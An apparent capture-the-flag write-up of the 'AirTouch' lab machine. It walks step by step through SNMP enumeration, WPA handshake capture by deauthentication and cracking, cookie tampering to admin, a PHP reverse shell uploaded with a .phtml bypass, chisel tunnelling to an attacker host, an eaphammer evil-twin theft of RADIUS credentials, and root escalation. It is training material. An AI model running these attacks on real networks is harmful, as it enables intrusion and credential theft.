# AirTouch

## OVERVIEW

---

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769229394879/bf88ff6c-0e8d-48e0-a782-1b826667028e.png align="center")

So as always we are given an IP so let’s start the enumeration using NMAP

## ENUMERATION

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769229859701/a0a49729-b27a-46e3-aa44-26c120c85a58.png align="center")

So there are only two ports that are opened one is SSH and other one is SNMP so if you do script scan on SNMP service on port 161 you will see the community string name (`public`) and host name (`Consultant`)

Now if you don’t even got the community name in script scan or not even hostname then you can bruteforce the community string using **onesixtyone** tool

```apache
onesixtyone -c /usr/share/wordlists/dirb/common.txt MACHINE-IP
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769230086211/7c59f5f0-3221-413d-9dcc-40ff195a23ef.png align="center")

You will get all three things → Hostname, Community String, Password(if present)

Otherwise if you got the community string from the Nmap scan then you can just use **snmpwalk** tool to just get more information such as OID’s etc

```apache
snmpwalk -v2c -c public MACHINE-IP
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769230312371/48a2e45f-9d16-4b39-9408-5818a104ae8c.png align="center")

Now we got the creds now let’s ssh into the machine as consultant user *(for convenience add the IP in /etc/hosts with the domain name as airtouch.htb)*

```apache
ssh consultant@airtouch.htb
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769230634172/7cc07b21-e833-4b34-b162-cb7f8a6b8a01.png align="center")

So upon login we saw that we can run all commands as root as their is no password so we did `sudo su` to escalate privileges

Now there is two images inside the current directory let’s see them using scp command from our attacker machine

```apache
scp consultant@airtouch.htb:Remote-path local-path
#scp consultant@airtouch.htb:/home/consultant/file.png /home/kali/Airtouch_htb/
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769231089434/2789b7c3-0d43-45f5-92de-7f471a9985a9.png align="left")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769231115939/ad6cef88-e179-4fd7-8567-fa26afec1462.png align="center")

As you can see this is a network of three VLAN’s (Virtual Local Area Network) on their respective network and we are currently on Consultant Vlan as Root User and if we do `ip a` we will see different WLAN (Wireless Local Area Network) Interfaces

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769233540692/166d8344-6045-44de-9a16-5492318a145a.png align="center")

So to see the other Wireless networks around us we can use a tool named as `airodump-ng`

```apache
airodump-ng wlan0
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769233878865/f68988db-fd44-40b3-a6d7-234d51a3215a.png align="center")

So AirTouch-Internet has a station connected so which means we can capture a handshake and then can try to crack the PSK key  
For that we will use **airodump-ng, aireplay-ng, aircrack-ng** tools

```apache
airodump-ng --bssid F0:9F:C2:A3:F1:A7 -c 6 --write output wlan0
```

Now we will start our deauthentication attack on another terminal so that we can capture a handshake for that we will use aireplay-ng

```apache
aireplay-ng --deauth 4 -a F0:9F:C2:A3:F1:A7 -c 28:6C:07:FE:A3:22 wlan0
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769234255488/7beda3fd-2edc-498c-91e2-e325a0b2876b.png align="center")

As you can see deauth has been done and now see the other terminal where you started airodump and press Ctrl+C to kill it as airodump-ng never ends on its own

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769234403645/3d664034-49ff-4ad3-80a7-783bc8c762bc.png align="center")

Here we go we got the handshake now and most importantly we have the **output-01.cap** file in our current directory so let’s try cracking the handshake with **aircrack-ng** and for the wordlist you can find it in **/root/eaphammer/wordlists/**

```apache
aircrack-ng output-01.cap -w /root/eaphammer/wordlists/rockyou.txt
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769234731168/fbb96967-1576-41d8-a784-3808ace9838f.png align="center")

We got the PSK key for AirTouch-Internet, now we can operate under its network but before that let’s first see the **output-01.cap** file in wireshark with decrypted PSK key

For that first transfer the output-01.cap file to your local machine with same scp command as before

```apache
scp consultant@airtouch.htb:/path-to-cap-file /local-machine-path-where-you-want-to-save-it
```

Now open the file in wireshark by doing `wireshark output-01.cap`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769238420313/73a4e296-a2d2-4bc1-b7ed-1aa8607d32c7.png align="center")

Now there will be Two cases  
→ You can see http packets when you search `http` in filter bar  
→ You don’t see any packets when you search `http` in filter bar

**So for those who can’t see http packets they have to follow a quick thing:**

1. Go to Edit and then Preferences in menu bar of wireshark OR Press Ctrl + Shift + P
    
2. Then Click on Protocols and then drop down till you find IEEE 802.11 then click on it
    
3. You will see Edit Button beside Decryption keys
    
4. Then Press + button to add a key then type `wpa_pwd challenge` then press apply and ok
    

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769238840656/7378a43a-15f1-4a08-9f0e-64e65a1c5d1d.png align="left")

Now you can also see HTTP packets when you search http on filter bar

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769238922548/ecc29396-54f7-45b2-a459-1372994579d3.png align="center")

Now Follow any packet to HTTP stream you will see that it is requesting /lab.php on host **192.168.3.1 Port 80** and inside we can see a PHPSESSID cookie with user role as User and it is a Wifi-Configuration Login Page So we can use this cookie to enter as Manager User

```apache
Cookie: PHPSESSID=cir69csvsr2qq6u8pac9eavsog; UserRole=user
```

But Before that let’s first enter into the AirTouch-Internet Network using **wpa\_supplicant**  
So in your consultant ssh shell do :

```apache
wpa_passphrase "AirTouch-Internet" "challenge" > /tmp/airtouch.conf
wpa_supplicant -B -i wlan0 -c /tmp/airtouch.conf
dhclient
```

This will assign a static ip to wlan0 under AirTouch-Internet Network you can check it using `ip a`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769239427992/32373e11-15f3-4eff-99f0-81e3c238b660.png align="center")

Now to access 192.168.3.1 Port 80 we need to do a little pivoting to our attacker machine using socks proxy so for that I am using [chisel](https://github.com/jpillora/chisel?tab=readme-ov-file#install) and if you don’t know how to install chisel and run it like me watch John Hammond Video On This → [**LINK**](https://www.youtube.com/watch?v=pbR_BNSOaMk)

Now when you successfully have chisel in your local machine then do forward it to the victim machine using either scp or wget from a python server  
So we have to forward the port 80 of 192.168.3.1 to our localhost with socks proxy

```apache
nano /etc/proxychains4.conf
```

At the last of the file add this line

```apache
socks5 127.0.0.1 1080
```

*If there is already a socks4 command then comment it out with using # at the start of the line*

Now head to the local machine and start a listener using chisel

```apache
./chisel server -p 9001 --reverse
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769240166458/4d3cd208-5e0d-4556-9dd1-9ecc45645cd1.png align="center")

And in victim machine do

```apache
./chisel client ATTACKER-IP:9001 R:80:192.168.3.1:80
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769241014985/b8a314cb-7ee6-4a31-a18c-15ff0dcf3cc4.png align="center")

After that go to you local machine browser and type `http://127.0.0.1/login.php`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769241220000/3c687593-8428-49d6-9934-0bc5e3f2be9b.png align="center")

now if you remember we had manager user cookie so let’s replace it with existing cookie and then reload the page

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769241391010/99510014-8b62-423f-94e4-1bb34086d006.png align="center")

As you can see we successfully got in as manager user and if you remember the UserRole=user so we can try changing it to admin and let’s see if something happens  
So for that we have to use Burpsuite and have to capture the request and after capturing the request add the UserRole=admin beside PHPSESSID

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769241878200/0853f87d-8a3c-4c2f-bbeb-a223d94bdb25.png align="center")

Now forward the request and let’s see

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769242000325/fb3ba210-651a-431f-a2bb-479e8b3dd452.png align="center")

Here we go we became admin and it gave us an Upload Functionality to upload files which we can use to upload reverse shell payload so let’s try uploading [**PHP PentestMonkey**](https://www.revshells.com/) file

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text"><strong>Keep In mind this is an internal network ip so we can’t get reverse shell on our local machine so we will start the listener in our consultant shell where we have static ip in 192.168.3.0/24 network and put that ip in the reverse shell payload</strong></div>
</div>

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769242365993/0aab2b25-f105-4431-ad8f-05cffaefef0c.png align="center")

We came to know that php and html files are not allowed so let’s try the same file with **.phtml** extension which are used to bypass these php blockage warnings

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769242617500/71ff29af-6c65-4c15-a770-fa63b35ba99c.png align="center")

Here we go it is uploaded to /uploads/ path now do open the listener in consultant shell as `nc -lvnp 4444`  
and then go to `http://127.0.0.1/uploads/hehe.phtml`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769242765825/d8bb19b8-959f-42e8-8447-66ab31e7cfde.png align="center")

And we will get the reverse shell as `www-data`  
Now i decided to find which is the real user name which we can find in /etc/passwd

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769243128664/80a1fec6-2371-45fb-a0c6-af8b0df28328.png align="center")

So it is User who we have to login as to get a stable shell or a ssh shell in Tablets VLAN  
On further enumeration I found out the **login.php** file in **/var/www/html**

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769243270417/2d872210-47d7-4444-888d-484197aa39c5.png align="center")

And i found User password let’s try login with this password

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769243685756/1c07d114-2c4d-47c0-82b4-077423115061.png align="center")

and we succeeded but i recommend taking ssh shell as user for a stable shell

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769243829665/8b770e06-3580-4296-bb35-e5ebcc50401f.png align="center")

## USER FLAG

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769243986462/1c3e9020-5bb1-4566-b45e-70c0e9a59747.png align="center")

**Now you can grab your user.txt from the /root directory**

Now for privilege escalation i found the **certs-backup** directory which contains .crt’s and private key of AirTouch Organization which we can use to get the info about the Corp VLAN and also we found the remote user creds for AirTouch-Office Network

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769247359795/996f1b03-5e99-4b0c-8beb-2a1d92b60af3.png align="center")

now copy the certs-backup folder to the consultant shell using scp so that we can use those certs using eaphammer tool which we saw in /root/eaphammer directory

```apache
# In user shell
cp -r /root/certs-backup/ /home/user
#now in consultant shell 
scp -r user@192.168.3.1:/home/user/certs-backup /home/consultant
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769247697697/393a37c0-889a-4439-a6c0-9c6eb80b41d7.png align="center")

Now let’s use **Eaphammer** tool present in **/root** directory to perform evil-twin attack to retrieve NTLM Hash of any user in AirTouch-Office as we already have the crt and key required for that and basically in short our end goal is to Steal RADIUS credentials from AirTouch-Office network

<details data-node-type="hn-details-summary"><summary>RADIUS CREDENTIALS AND WHAT ARE WE DOING WITH EAPHAMMER</summary><div data-type="detailsContent">RADIUS (Remote Authentication Dial-In User Service) is a networking protocol that provides authentication, authorization, and accounting for users accessing remote networks. It operates on ports 1812 and 1813 using a client/server model where a RADIUS server maintains a database of user credentials and validates connection requests from network access servers. In the context of stealing RADIUS credentials using eaphammer, the attack targets WPA2-Enterprise networks that rely on RADIUS for authentication. Eaphammer is a specialized tool that creates rogue access points mimicking legitimate corporate Wifi networks to perform Evil Twin attacks. When unsuspecting users attempt to connect to the fake access point, eaphammer captures their authentication credentials including usernames, password hashes (particularly MSCHAPv2 challenges), and in some cases cleartext passwords depending on the EAP method used. This attack exploits the trust users place in familiar network names and the vulnerabilities in certain EAP-based authentication methods. The stolen credentials can then be cracked offline or used directly to gain unauthorized access to the legitimate network, making it a significant security concern for organizations using WPA2-Enterprise and RADIUS authentication systems.</div></details>

To know about importing certs you can read about that in [**Eaphammer Wiki**](https://github.com/s0lst1c3/eaphammer/wiki/XIV.-Cert-Wizard#xiv3---importing-certificates-and-keys---cert-wizard-import) also you can find commands for other attacks  
So let’s import the certs using eaphammer

```apache
./eaphammer --cert-wizard import --ca-cert /home/consultant/certs-backup/ca.crt --server-cert /home/consultant/certs-backup/server.crt --private-key /home/consultant/certs-backup/server.key 
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769249216692/af752f19-f6fa-4144-869c-84d6afa06292.png align="center")

We successfully imported the certs now lets perform the RADIUS creds attack we found in Eaphammer wiki  
You can get AirTouch-Office bssid again from airodump-ng but this time we also listen for 5ghz bands also

```apache
airodump-ng --band abg wlan1
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769249753409/9e882439-ba0e-4017-892c-1b8e830e426d.png align="center")

As you can see we got the bssid also do enable **wlan1** then we will proceed with the attack

```apache
ifconfig wlan1 up
```

```apache
./eaphammer --bssid AC:8B:A9:AA:3F:D2 --essid AirTouch-Office --channel 44 --interface wlan1 --auth wpa-eap --creds
```

After it gets started wait till you got the $NETNTLM hash

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769250390383/00a3ec27-5cac-48e2-bf28-20faa003b6a6.png align="center")

Now save the hash in a hash.txt file and use Johntheripper to crack it

```apache
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769250671183/a11d7de4-f1c1-4a79-a81a-d73d56ea00fc.png align="center")

Now since we get the **Mschapv2** challenge so we will make the AirTouch-Office conf file a bit different unlike AirTouch-Internet You can see the syntax here → [**LINK**](https://deployingradius.com/scripts/eapol_test/peap-mschapv2.conf)  
*(Domain name is used in PEAP security)*

```python
nano /tmp/airtouchoffice.conf
```

→ `domain/organization name can be found in ca.crt`

```python
network={
        ssid="AirTouch-Office"
        key_mgmt=WPA-EAP
        eap=PEAP
        identity="AirTouch\r4ulcl"
        password="lab*******"
        phase2="auth=MSCHAPV2"
}
```

Now same command like earlier to enter into the network

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text"><strong>For some reason wlan1 was not working when connecting to AirTouch-Office Network so i used wlan2 below because we have so many to use ;)</strong></div>
</div>

```apache
ifconfig wlan2 up
wpa_supplicant -B -i wlan2 -c /tmp/airtouchoffice.conf
dhclient wlan2
```

Now if you do `ip a`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769252877126/57595ecf-6a90-4227-a1da-981e8f3454f0.png align="center")

We are inside Corp VLAN guys!!  
Now let’s quickly ssh into the network using the remote creds we got earlier

```apache
ssh remote@10.10.10.1
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769252989211/243e3dd8-d279-4042-aece-73e2bf86db5a.png align="center")

We successfully got in but this time to be a root user it is not that easy like always so since this will also be related to wireless networks let’s check **hostapd configuration files** which by default is in **/etc/hostapd**

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769253313115/cca07279-a296-4502-953a-f375bd3db309.png align="center")

Bingo!! we got the files let’s check each one out if it have something interesting  
On checking `hostapd_wpe.eap_user` file we got

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769253522403/09f093f4-e41c-431a-bc81-61bd6be48cd0.png align="center")

We got an admin pass let’s check if we can su into it or not as it is also a user with /bin/bash permission as checked from /etc/passwd

---

## ROOT FLAG

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769253762182/e3b49120-3e71-47c6-a68a-70aa1fb90657.png align="center")

Well Well Well look what we found, admin password worked and it has sudo permission with no password so we escalate privileges to root user and now we can get our root.txt and solve the machine.

## **WE FINALLY DID IT !!!! CHALLENGE SOLVED !!**

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769253878957/41abb844-2bcb-4286-abe7-c24921a5b821.png align="center")

For Any Query Or Problem Either Leave A Comment Or Contact At [**reapsec.com**](http://reapsec.com/)

**THANKS FOR READING !!!**